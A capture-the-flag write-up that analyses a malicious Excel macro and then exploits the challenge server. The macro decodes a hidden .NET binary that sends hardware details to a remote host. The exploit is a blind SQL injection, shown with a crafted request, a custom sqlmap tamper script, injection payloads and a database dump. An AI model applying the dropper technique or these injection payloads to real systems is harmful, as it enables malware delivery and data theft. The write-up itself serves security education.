Similar to the previous challenge we were provided with an Excel spreadsheet (vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls) that again contained macro code that would be executed when opening the document.

Challenge Description

Our Solution

# olevba vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls 
olevba 0.52.3 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OLE:MAS-H--- vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls
===============================================================================
FILE: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub Auto_Open()
    Predict ("Sheet1")
End Sub
    Predict ("Sheet1")
Sub Workbook_Open()
End Sub

Private Function Predict(ByVal z As String) As String

    Dim zzzz As String
    zzzz = "bitcoin.txt"
    Dim zzzzz As String
    zzzzz = Environ("USERPROFILE")
    ChDrive (zzzzz)
    Dim zzzzzz As Integer
    ChDir (zzzzz)
    zzzzzz = FreeFile()
    Dim zzzzzzz As Integer
    Dim zz As Integer
    zz = 4
    Open zzzz For Binary As zzzzzz
    Dim zzz As Worksheet
    On Error GoTo e
    Set zzz = Worksheets(z)
    zzzzzzz = 1
    Do While zzz.Columns(zzzzzzz).Cells(zz, (3 / 2)).Value <> ""
        Do While zzz.Columns(zzzzzzz).Cells(zz, (109 / 87)).Value <> ""
            Put #zzzzzz, , CByte(zzz.Columns(zzzzzzz).Cells(zz, (5471 / 4871)).Value Xor (42 * 2 + 1))
            zzzzzzz = zzzzzzz + (781625 / 679142)
        Loop
        zz = zz + Sqr(2)
        zzzzzzz = 1
    Loop
    Close #zzzzzz
    zzzzzzzz = Shell(zzzz, vbHide)
    Exit Function
e:
    MsgBox "Unable to predict the future"
    Exit Function
End Function
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: vba02-bitminer_4052500b4f2120d3d3ae458b339ec1f16e89e870.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+------------+---------------+-----------------------------------------+
| Type       | Keyword       | Description                             |
+------------+---------------+-----------------------------------------+
| AutoExec   | Auto_Open     | Runs when the Excel Workbook is opened  |
| AutoExec   | Workbook_Open | Runs when the Excel Workbook is opened  |
| Suspicious | Xor           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Open          | May open a file                         |
| Suspicious | Shell         | May run an executable file or a system  |
|            |               | command                                 |
| Suspicious | vbHide        | May run an executable file or a system  |
|            |               | command                                 |
| Suspicious | Binary        | May read or write a binary file (if     |
|            |               | combined with Open)                     |
| Suspicious | Environ       | May read system environment variables   |
| Suspicious | Put           | May write to a file (if combined with   |
|            |               | Open)                                   |
| Suspicious | Hex Strings   | Hex-encoded strings were detected, may  |
|            |               | be used to obfuscate strings (option    |
|            |               | --decode to see all)                    |
+------------+---------------+-----------------------------------------+

Following the same approach as in the previous challenge we copied the contents of the spreadsheet and prepared a sanitized version of the macro code that we could execute. In particular we disabled the call to the Shell function. After running the code we ended up with a bitcoin.txt file that revealed to be a .Net binary.

$ file bitcoin.txt
bitcoin.txt: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

With dotPeek (https://www.jetbrains.com/decompiler/) the binary was therefore quickly decompiled.

using System;
using System.Collections.Generic;
using System.Management;
using System.Net;
using System.Text;
using System.Web.Script.Serialization;

public class BitcoinScouter
{
  private static WebClient wc = new WebClient();
  private static string cpu;
  private static string gpu;
  private static string cid;
  private const string AGENT = "Bitcoin Mining $couter 0.1 Beta 1337";

  public static void Main()
  {
    Console.WriteLine("[+] Bitcoin Mining $couter...");
    BitcoinScouter.cpu = BitcoinScouter.getHWInfo("win32_processor", "Name");
    BitcoinScouter.gpu = BitcoinScouter.getHWInfo("win32_VideoController", "Name");
    BitcoinScouter.cid = BitcoinScouter.getHWInfo("win32_ComputerSystem", "Name");
    if (BitcoinScouter.askcc("?a=benchmark", BitcoinScouter.encodeB64(new JavaScriptSerializer().Serialize((object) new Dictionary<string, string>()
    {
      {
        "cid",
        BitcoinScouter.cid
      },
      {
        "cpu",
        BitcoinScouter.cpu
      },
      {
        "gpu",
        BitcoinScouter.gpu
      }
    }))) == "go")
    {
      Console.WriteLine("[+] Yeah nice hardware.. Let's mine ;-)");
      BitcoinScouter.mineStuff();
    }
    else
      Console.WriteLine("[-] Shitty hardware (>_<).. it's not worth it");
  }

  public static string askcc(string target, string data)
  {
    BitcoinScouter.wc.Headers.Add("user-agent", "Bitcoin Mining $couter 0.1 Beta 1337");
    return BitcoinScouter.wc.UploadString("http://bitminer.insomni.hack/" + target, data);
  }

  public static string getHWInfo(string hwClass, string hwProp)
  {
    string str = "";
    foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM " + hwClass).Get())
      str += managementObject[hwProp].ToString();
    return str;
  }

  public static string encodeB64(string input)
  {
    return Convert.ToBase64String(Encoding.UTF8.GetBytes(input));
  }

  public static string mineStuff()
  {
    Console.WriteLine("[-] Euuu let's steal mining code somewhere... I'll be back for you! :D");
    return (string) null;
  }
}

The binary was a BitcoinScouter that would collect the CPU, GPU and hostname and transmit it base64 encoded to http://bitminer.insomi.hack. Before encoding the payload it would look similar to the following:

{"cid":"CTF","cpu":"Intel(R) Core(TM) i7-7600U CPU @ 2.80GHz","gpu":"Intel(R) HD Graphics 620"}

When analyzing the request we quickly discoverd that the server required us to send a dedicated User-Agent and a GPU that was suitable for mining. In addition, when tampering with the payload, we noticed that the application was very likely to be vulnerable to an SQL injection.

POST /?a=benchmark HTTP/1.1
Host: bitminer.insomni.hack
User-Agent: Bitcoin Mining $couter 0.1 Beta 1337
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 136

{"cid":"KARI","cpu":"Intel(R) Core(TM) i7-7600U CPU @ 20.80GHz","gpu":"Nvidia GeForce GTX 1080 Ti'''"}

When introducing an uneven amount of ‘ characters the server would respond with an Internal Server Error:

HTTP/1.0 500 Internal Server Error
Date: Fri, 23 Mar 2018 18:12:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

To exploit the vulnerability we decide to use sqlmap (http://sqlmap.org/) with the following request file:

POST /?a=benchmark HTTP/1.1
Host: bitminer.insomni.hack
User-Agent: Bitcoin Mining $couter 0.1 Beta 1337
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 136

*

And we added a custom tamper script based on the existing base64encode tamper script:

#!/usr/bin/env python

import base64

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = '{"cid":"CTF'+payload+'","cpu":"Intel(R) Core(TM) i7-7600U CPU @ 20.80GHz'+payload+'","gpu":"Nvidia GeForce GTX 1080 Ti' + payload + '"}'

    return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

While using sqlmap we noticed that there were some additional restrictions in place, prompting us to add the “between” tamper script and using the hex function for data retrieval:

$ sqlmap -r request --tamper=between,bitminer --risk=3 --level=5
sqlmap identified the following injection point(s) with a total of 535 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: %00' OR NOT 4041=4041 AND 'KzIQ'='KzIQ

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: %00' AND (SELECT * FROM (SELECT(SLEEP(5)))NtEe) AND 'nLBK'='nLBK
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0.12

To finally obtain the flag , we ran:

$ sqlmap -r request --tamper=between,bitminer --risk=3 --level=5 -D bitminer -T flag --dump
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: %00' OR NOT 4041=4041 AND 'KzIQ'='KzIQ

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: %00' AND (SELECT * FROM (SELECT(SLEEP(5)))NtEe) AND 'nLBK'='nLBK
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0.12
Database: bitminer
Table: flag
[1 entry]
+---------------------------------------------------+
| value                                             |
+---------------------------------------------------+
| INS{M1ninG_i5_t0o_H4rD_Lets_D0_Norm4l_Cyb3rCr1me} |
+---------------------------------------------------+